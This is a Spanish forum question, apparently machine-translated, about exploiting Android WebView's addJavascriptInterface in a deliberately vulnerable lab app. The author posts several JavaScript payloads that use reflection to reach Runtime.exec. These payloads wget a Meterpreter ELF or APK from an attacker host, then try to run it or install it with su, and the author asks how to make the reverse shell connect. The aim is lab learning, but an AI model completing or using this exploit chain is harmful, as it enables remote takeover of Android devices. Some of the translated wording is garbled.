He estado golpeando mi cabeza alrededor de esto durante casi 56 horas (+/- algunas que saqué para tener un par de siestas y RedBulls) y no he podido llegar a ninguna parte con eso hasta ahora.
Estoy tratando de entender la interfaz addjavascript en WebView en la API de Android 16 y versiones inferiores o las aplicaciones compiladas con esas API. La vulnerabilidad en sí se ha explicado bastante bien aquí en MWR blog
Para una explotación exitosa, las siguientes ayudas del Módulo Metasploit: exploit / android / browser / webview_addjavascriptinterface
y utilizando lo anterior, puedo obtener un shell de Meterpreter inverso tan pronto como la víctima visita la URL donde la escucho.
Lo anterior funciona solo en los navegadores de stock en Android 4.1.2 y más bajo, ya que el navegador tiene la vulnerabilidad mencionada.
Ahora intentaba entender lo mismo en el contexto de una aplicación. Así que usé un aplicación deliberadamente vulnerable (InsecureBank V2)
La aplicación usa WebView con javascript habilitado y lo modifiqué para usar la interfaz addjavascript también.
Ahora puedo explotar la vulnerabilidad y ejecutar un código tan pronto como la víctima visite el WebView vulnerable.
El blog MWR anterior menciona una forma de colocar Weasel en el dispositivo víctima a través de la ejecución de comandos y conectarse al atacante en un servidor drozer. Pero la forma en que lo han definido no parece funcionar en mi caso.
Tampoco hay módulos Metasploit que exploten este tipo de escenario. Soy capaz de ejecutar wget y obtener una carga útil de meterpreterómetro (probé x86 como elf binary / armle as elf Bonary / Android como apk) desde mi servidor en el dispositivo. Cuando los ejecuto manualmente como usuario de shell, obtengo una sesión exitosa de meterpreter nuevamente. Pero si intento hacer algo del formato:
function execute(cmd){
return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','wget -P /sdcard/ http://192.168.56.102/shell.elf']);
execute(['/system/bin/sh','-c','/sdcard/shell.elf']);
Simplemente no funciona. No obtengo ninguna sesión TCP inversa. Tampoco funciona el siguiente
<script>
function execute(cmd){
return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','wget -P /sdcard/ http://192.168.56.102/hack.apk']);
execute(['/system/bin/sh','-c','/system/xbin/su pm install hack.apk']);
</script>
o abajo:
<script>
function execute(cmd){
return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','wget -P /sdcard/ http://192.168.56.102/hack.apk']);
execute(['/system/bin/sh','-c','su pm install hack.apk']);
</script>
¿Cómo ejecuto la carga útil que copié en el dispositivo de la víctima usando wget? La mayoría de los recursos que encontré en Internet mencionan
- Cómo obtener la carga útil específica de Android (msfvenom, carga útil drozer, etc.)
- Cómo entregarlo a la máquina de la víctima (por ejemplo, wget)
y luego dicen que una vez que la carga útil es ejecutada por el usuario o apk instalado por el usuario, obtenemos una sesión TCP inversa, etc. en la máquina atacante.
Nadie explica cómo, a través de la ejecución del código, se puede ejecutar la carga útil (apk instalado / exe disparado).
Cualquier ayuda sería muy apreciada.